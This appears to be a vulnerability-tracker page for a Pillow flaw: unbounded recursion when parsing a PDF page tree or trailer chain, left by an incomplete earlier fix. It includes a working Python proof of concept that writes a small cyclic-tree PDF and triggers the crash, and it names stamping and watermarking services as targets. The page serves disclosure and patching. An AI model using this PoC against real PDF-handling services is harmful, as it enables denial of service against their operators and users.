CVE-2026-112895High· 7.5▾ TwilightPillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 41.3 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Stakeholder-Specific Vulnerability Categorization from CISA's ADP record at CVE.org: whether exploitation is observed, whether an attack can be automated, and how much of the system is at stake. The CVSS score shown above comes from the vendor's CSAF advisory record, not NVD.
Exploit-prediction probability, daily snapshots since Oct 20.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
0.3%
8.7 → 7.5
7.5 → 8.7
8.7 → 7.5
Last analysed / modified upstream
0.3% → 0.4%
When an application appends to an existing PDF with Image.save(..., format="PDF", append=True), Pillow parses that file with PdfParser. Two recursive parsers have no effective bound. linearize_page_tree follows /Kids with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. read_prev_trailer rejects only an exactly repeated /Prev offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.
linearize_page_tree recurses on /Kids with no cycle or depth check:
src/PIL/PdfParser.py:1078-1092read_prev_trailer catches only a repeated offset:
src/PIL/PdfParser.py:697-720 (the processed_offsets check at :714-718 is the CVE-2026-42310 fix; a unique-offset chain slips past it)from PIL import PdfParser
# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
1: b"<< /Type /Catalog /Pages 2 0 R >>",
2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
off[oid] = len(buf)
buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)
PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same way
Run it:
$ python 11_poc.py
RecursionError: maximum recursion depth exceeded
The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) /Kids tree instead produces super-linear CPU and memory work, and a long unique-offset /Prev chain triggers the trailer-side recursion.
A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising RecursionError. The fix is a visited set plus a depth limit in both parsers.
pillow >= 5.1.0, < 13.0.0Upgrade to a patched release:
pillow 13.0.0Field changes observed since this record was first indexed.
Connected by shared product, vendor, weakness, or advisory.
CVE-2026-112390High· 7.5Pillow: Infinite loop in MIC n_frames when the embedded TIFF
CVE-2026-112391Medium· 7.5Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()
CVE-2026-112406High· 7.5Pillow: Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle
CVE-2026-96643High· 7.1Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
CVE-2026-112893High· 7.5Pillow: Invalid free in FreeType glyph rendering when a stroker is active
CVE-2026-112894High· 7.5Pillow: Quadratic-time DoS in PDF save_all (PdfParser.next_object_id)